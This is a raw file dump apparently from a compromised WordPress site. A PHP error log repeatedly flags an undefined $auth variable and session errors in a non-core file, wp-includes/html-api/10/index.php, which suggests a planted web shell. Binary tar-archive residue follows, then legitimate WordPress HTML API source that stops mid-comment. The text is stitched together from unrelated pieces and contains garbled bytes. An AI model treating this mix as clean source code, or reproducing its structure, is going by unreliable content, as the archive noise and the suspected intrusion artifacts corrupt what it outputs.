[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
PKgN\�A�&class-wp-html-text-replacement.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-text-replacement.php000064400000002601151440277760024244 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
PKgN\*0��4C4C	index.phpnu�[���PKgN\�i���,mCclass-wp-html-attribute-token.php.php.tar.gznu�[���PKgN\�KW�gg�Gerror_log.tar.gznu�[���PKgN\T7��[["nJclass-wp-html-token.php.php.tar.gznu�[���PKgN\g���VV#Pclass-wp-html-tag-processor.php.tarnu�[���PKgN\�>��JJ
n�index.php.tarnu�[���PKgN\�Wy%��class-wp-html-attribute-token.php.tarnu�[���PKgN\�_���-class-wp-html-text-replacement.php.php.tar.gznu�[���PKgN\�ȩd�d�index.php.php.tar.gznu�[���PKgN\��|Kb�b�*�jclass-wp-html-tag-processor.php.php.tar.gznu�[���PKgN\��J��class-wp-html-token.php.tarnu�[���PKgN\�,�n�n�	�error_lognu�[���PKgN\�A�&��class-wp-html-text-replacement.php.tarnu�[���PK

��PKE�N\���HHclass-wp-html-processor.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-processor.php000064400000640677151440300410023002 0ustar00<?php
/**
 * HTML API: WP_HTML_Processor class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used to safely parse and modify an HTML document.
 *
 * The HTML Processor class properly parses and modifies HTML5 documents.
 *
 * It supports a subset of the HTML5 specification, and when it encounters
 * unsupported markup, it aborts early to avoid unintentionally breaking
 * the document. The HTML Processor should never break an HTML document.
 *
 * While the `WP_HTML_Tag_Processor` is a valuable tool for modifying
 * attributes on individual HTML tags, the HTML Processor is more capable
 * and useful for the following operations:
 *
 *  - Querying based on nested HTML structure.
 *
 * Eventually the HTML Processor will also support:
 *  - Wrapping a tag in surrounding HTML.
 *  - Unwrapping a tag by removing its parent.
 *  - Inserting and removing nodes.
 *  - Reading and changing inner content.
 *  - Navigating up or around HTML structure.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *   1. Call a static creator method with your input HTML document.
 *   2. Find the location in the document you are looking for.
 *   3. Request changes to the document at that location.
 *
 * Example:
 *
 *     $processor = WP_HTML_Processor::create_fragment( $html );
 *     if ( $processor->next_tag( array( 'breadcrumbs' => array( 'DIV', 'FIGURE', 'IMG' ) ) ) ) {
 *         $processor->add_class( 'responsive-image' );
 *     }
 *
 * #### Breadcrumbs
 *
 * Breadcrumbs represent the stack of open elements from the root
 * of the document or fragment down to the currently-matched node,
 * if one is currently selected. Call WP_HTML_Processor::get_breadcrumbs()
 * to inspect the breadcrumbs for a matched tag.
 *
 * Breadcrumbs can specify nested HTML structure and are equivalent
 * to a CSS selector comprising tag names separated by the child
 * combinator, such as "DIV > FIGURE > IMG".
 *
 * Since all elements find themselves inside a full HTML document
 * when parsed, the return value from `get_breadcrumbs()` will always
 * contain any implicit outermost elements. For example, when parsing
 * with `create_fragment()` in the `BODY` context (the default), any
 * tag in the given HTML document will contain `array( 'HTML', 'BODY', … )`
 * in its breadcrumbs.
 *
 * Despite containing the implied outermost elements in their breadcrumbs,
 * tags may be found with the shortest-matching breadcrumb query. That is,
 * `array( 'IMG' )` matches all IMG elements and `array( 'P', 'IMG' )`
 * matches all IMG elements directly inside a P element. To ensure that no
 * partial matches erroneously match it's possible to specify in a query
 * the full breadcrumb match all the way down from the root HTML element.
 *
 * Example:
 *
 *     $html = '<figure><img><figcaption>A <em>lovely</em> day outside</figcaption></figure>';
 *     //               ----- Matches here.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'FIGURE', 'IMG' ) ) );
 *
 *     $html = '<figure><img><figcaption>A <em>lovely</em> day outside</figcaption></figure>';
 *     //                                  ---- Matches here.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'FIGURE', 'FIGCAPTION', 'EM' ) ) );
 *
 *     $html = '<div><img></div><img>';
 *     //                       ----- Matches here, because IMG must be a direct child of the implicit BODY.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'BODY', 'IMG' ) ) );
 *
 * ## HTML Support
 *
 * This class implements a small part of the HTML5 specification.
 * It's designed to operate within its support and abort early whenever
 * encountering circumstances it can't properly handle. This is
 * the principle way in which this class remains as simple as possible
 * without cutting corners and breaking compliance.
 *
 * ### Supported elements
 *
 * If any unsupported element appears in the HTML input the HTML Processor
 * will abort early and stop all processing. This draconian measure ensures
 * that the HTML Processor won't break any HTML it doesn't fully understand.
 *
 * The HTML Processor supports all elements other than a specific set:
 *
 *  - Any element inside a TABLE.
 *  - Any element inside foreign content, including SVG and MATH.
 *  - Any element outside the IN BODY insertion mode, e.g. doctype declarations, meta, links.
 *
 * ### Supported markup
 *
 * Some kinds of non-normative HTML involve reconstruction of formatting elements and
 * re-parenting of mis-nested elements. For example, a DIV tag found inside a TABLE
 * may in fact belong _before_ the table in the DOM. If the HTML Processor encounters
 * such a case it will stop processing.
 *
 * The following list illustrates some common examples of unexpected HTML inputs that
 * the HTML Processor properly parses and represents:
 *
 *  - HTML with optional tags omitted, e.g. `<p>one<p>two`.
 *  - HTML with unexpected tag closers, e.g. `<p>one </span> more</p>`.
 *  - Non-void tags with self-closing flag, e.g. `<div/>the DIV is still open.</div>`.
 *  - Heading elements which close open heading elements of another level, e.g. `<h1>Closed by </h2>`.
 *  - Elements containing text that looks like other tags but isn't, e.g. `<title>The <img> is plaintext</title>`.
 *  - SCRIPT and STYLE tags containing text that looks like HTML but isn't, e.g. `<script>document.write('<p>Hi</p>');</script>`.
 *  - SCRIPT content which has been escaped, e.g. `<script><!-- document.write('<script>console.log("hi")</script>') --></script>`.
 *
 * ### Unsupported Features
 *
 * This parser does not report parse errors.
 *
 * Normally, when additional HTML or BODY tags are encountered in a document, if there
 * are any additional attributes on them that aren't found on the previous elements,
 * the existing HTML and BODY elements adopt those missing attribute values. This
 * parser does not add those additional attributes.
 *
 * In certain situations, elements are moved to a different part of the document in
 * a process called "adoption" and "fostering." Because the nodes move to a location
 * in the document that the parser had already processed, this parser does not support
 * these situations and will bail.
 *
 * @since 6.4.0
 *
 * @see WP_HTML_Tag_Processor
 * @see https://html.spec.whatwg.org/
 */
class WP_HTML_Processor extends WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at any given time.
	 *
	 * HTML processing requires more bookmarks than basic tag processing,
	 * so this class constant from the Tag Processor is overwritten.
	 *
	 * @since 6.4.0
	 *
	 * @var int
	 */
	const MAX_BOOKMARKS = 100;

	/**
	 * Holds the working state of the parser, including the stack of
	 * open elements and the stack of active formatting elements.
	 *
	 * Initialized in the constructor.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Processor_State
	 */
	private $state;

	/**
	 * Used to create unique bookmark names.
	 *
	 * This class sets a bookmark for every tag in the HTML document that it encounters.
	 * The bookmark name is auto-generated and increments, starting with `1`. These are
	 * internal bookmarks and are automatically released when the referring WP_HTML_Token
	 * goes out of scope and is garbage-collected.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::$release_internal_bookmark_on_destruct
	 *
	 * @var int
	 */
	private $bookmark_counter = 0;

	/**
	 * Stores an explanation for why something failed, if it did.
	 *
	 * @see self::get_last_error
	 *
	 * @since 6.4.0
	 *
	 * @var string|null
	 */
	private $last_error = null;

	/**
	 * Stores context for why the parser bailed on unsupported HTML, if it did.
	 *
	 * @see self::get_unsupported_exception
	 *
	 * @since 6.7.0
	 *
	 * @var WP_HTML_Unsupported_Exception|null
	 */
	private $unsupported_exception = null;

	/**
	 * Releases a bookmark when PHP garbage-collects its wrapping WP_HTML_Token instance.
	 *
	 * This function is created inside the class constructor so that it can be passed to
	 * the stack of open elements and the stack of active formatting elements without
	 * exposing it as a public method on the class.
	 *
	 * @since 6.4.0
	 *
	 * @var Closure|null
	 */
	private $release_internal_bookmark_on_destruct = null;

	/**
	 * Stores stack events which arise during parsing of the
	 * HTML document, which will then supply the "match" events.
	 *
	 * @since 6.6.0
	 *
	 * @var WP_HTML_Stack_Event[]
	 */
	private $element_queue = array();

	/**
	 * Stores the current breadcrumbs.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	private $breadcrumbs = array();

	/**
	 * Current stack event, if set, representing a matched token.
	 *
	 * Because the parser may internally point to a place further along in a document
	 * than the nodes which have already been processed (some "virtual" nodes may have
	 * appeared while scanning the HTML document), this will point at the "current" node
	 * being processed. It comes from the front of the element queue.
	 *
	 * @since 6.6.0
	 *
	 * @var WP_HTML_Stack_Event|null
	 */
	private $current_element = null;

	/**
	 * Context node if created as a fragment parser.
	 *
	 * @var WP_HTML_Token|null
	 */
	private $context_node = null;

	/*
	 * Public Interface Functions
	 */

	/**
	 * Creates an HTML processor in the fragment parsing mode.
	 *
	 * Use this for cases where you are processing chunks of HTML that
	 * will be found within a bigger HTML document, such as rendered
	 * block output that exists within a post, `the_content` inside a
	 * rendered site layout.
	 *
	 * Fragment parsing occurs within a context, which is an HTML element
	 * that the document will eventually be placed in. It becomes important
	 * when special elements have different rules than others, such as inside
	 * a TEXTAREA or a TITLE tag where things that look like tags are text,
	 * or inside a SCRIPT tag where things that look like HTML syntax are JS.
	 *
	 * The context value should be a representation of the tag into which the
	 * HTML is found. For most cases this will be the body element. The HTML
	 * form is provided because a context element may have attributes that
	 * impact the parse, such as with a SCRIPT tag and its `type` attribute.
	 *
	 * ## Current HTML Support
	 *
	 *  - The only supported context is `<body>`, which is the default value.
	 *  - The only supported document encoding is `UTF-8`, which is the default value.
	 *
	 * @since 6.4.0
	 * @since 6.6.0 Returns `static` instead of `self` so it can create subclass instances.
	 *
	 * @param string $html     Input HTML fragment to process.
	 * @param string $context  Context element for the fragment, must be default of `<body>`.
	 * @param string $encoding Text encoding of the document; must be default of 'UTF-8'.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	public static function create_fragment( $html, $context = '<body>', $encoding = 'UTF-8' ) {
		if ( '<body>' !== $context || 'UTF-8' !== $encoding ) {
			return null;
		}

		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			return null;
		}

		$context_processor = static::create_full_parser( "<!DOCTYPE html>{$context}", $encoding );
		if ( null === $context_processor ) {
			return null;
		}

		while ( $context_processor->next_tag() ) {
			if ( ! $context_processor->is_virtual() ) {
				$context_processor->set_bookmark( 'final_node' );
			}
		}

		if (
			! $context_processor->has_bookmark( 'final_node' ) ||
			! $context_processor->seek( 'final_node' )
		) {
			_doing_it_wrong( __METHOD__, __( 'No valid context element was detected.' ), '6.8.0' );
			return null;
		}

		return $context_processor->create_fragment_at_current_node( $html );
	}

	/**
	 * Creates an HTML processor in the full parsing mode.
	 *
	 * It's likely that a fragment parser is more appropriate, unless sending an
	 * entire HTML document from start to finish. Consider a fragment parser with
	 * a context node of `<body>`.
	 *
	 * UTF-8 is the only allowed encoding. If working with a document that
	 * isn't UTF-8, first convert the document to UTF-8, then pass in the
	 * converted HTML.
	 *
	 * @param string      $html                    Input HTML document to process.
	 * @param string|null $known_definite_encoding Optional. If provided, specifies the charset used
	 *                                             in the input byte stream. Currently must be UTF-8.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	public static function create_full_parser( $html, $known_definite_encoding = 'UTF-8' ) {
		if ( 'UTF-8' !== $known_definite_encoding ) {
			return null;
		}
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			return null;
		}

		$processor                             = new static( $html, self::CONSTRUCTOR_UNLOCK_CODE );
		$processor->state->encoding            = $known_definite_encoding;
		$processor->state->encoding_confidence = 'certain';

		return $processor;
	}

	/**
	 * Constructor.
	 *
	 * Do not use this method. Use the static creator methods instead.
	 *
	 * @access private
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::create_fragment()
	 *
	 * @param string      $html                                  HTML to process.
	 * @param string|null $use_the_static_create_methods_instead This constructor should not be called manually.
	 */
	public function __construct( $html, $use_the_static_create_methods_instead = null ) {
		parent::__construct( $html );

		if ( self::CONSTRUCTOR_UNLOCK_CODE !== $use_the_static_create_methods_instead ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: WP_HTML_Processor::create_fragment(). */
					__( 'Call %s to create an HTML Processor instead of calling the constructor directly.' ),
					'<code>WP_HTML_Processor::create_fragment()</code>'
				),
				'6.4.0'
			);
		}

		$this->state = new WP_HTML_Processor_State();

		$this->state->stack_of_open_elements->set_push_handler(
			function ( WP_HTML_Token $token ): void {
				$is_virtual            = ! isset( $this->state->current_token ) || $this->is_tag_closer();
				$same_node             = isset( $this->state->current_token ) && $token->node_name === $this->state->current_token->node_name;
				$provenance            = ( ! $same_node || $is_virtual ) ? 'virtual' : 'real';
				$this->element_queue[] = new WP_HTML_Stack_Event( $token, WP_HTML_Stack_Event::PUSH, $provenance );

				$this->change_parsing_namespace( $token->integration_node_type ? 'html' : $token->namespace );
			}
		);

		$this->state->stack_of_open_elements->set_pop_handler(
			function ( WP_HTML_Token $token ): void {
				$is_virtual            = ! isset( $this->state->current_token ) || ! $this->is_tag_closer();
				$same_node             = isset( $this->state->current_token ) && $token->node_name === $this->state->current_token->node_name;
				$provenance            = ( ! $same_node || $is_virtual ) ? 'virtual' : 'real';
				$this->element_queue[] = new WP_HTML_Stack_Event( $token, WP_HTML_Stack_Event::POP, $provenance );

				$adjusted_current_node = $this->get_adjusted_current_node();

				if ( $adjusted_current_node ) {
					$this->change_parsing_namespace( $adjusted_current_node->integration_node_type ? 'html' : $adjusted_current_node->namespace );
				} else {
					$this->change_parsing_namespace( 'html' );
				}
			}
		);

		/*
		 * Create this wrapper so that it's possible to pass
		 * a private method into WP_HTML_Token classes without
		 * exposing it to any public API.
		 */
		$this->release_internal_bookmark_on_destruct = function ( string $name ): void {
			parent::release_bookmark( $name );
		};
	}

	/**
	 * Creates a fragment processor at the current node.
	 *
	 * HTML Fragment parsing always happens with a context node. HTML Fragment Processors can be
	 * instantiated with a `BODY` context node via `WP_HTML_Processor::create_fragment( $html )`.
	 *
	 * The context node may impact how a fragment of HTML is parsed. For example, consider the HTML
	 * fragment `<td />Inside TD?</td>`.
	 *
	 * A BODY context node will produce the following tree:
	 *
	 *     └─#text Inside TD?
	 *
	 * Notice that the `<td>` tags are completely ignored.
	 *
	 * Compare that with an SVG context node that produces the following tree:
	 *
	 *     ├─svg:td
	 *     └─#text Inside TD?
	 *
	 * Here, a `td` node in the `svg` namespace is created, and its self-closing flag is respected.
	 * This is a peculiarity of parsing HTML in foreign content like SVG.
	 *
	 * Finally, consider the tree produced with a TABLE context node:
	 *
	 *     └─TBODY
	 *       └─TR
	 *         └─TD
	 *           └─#text Inside TD?
	 *
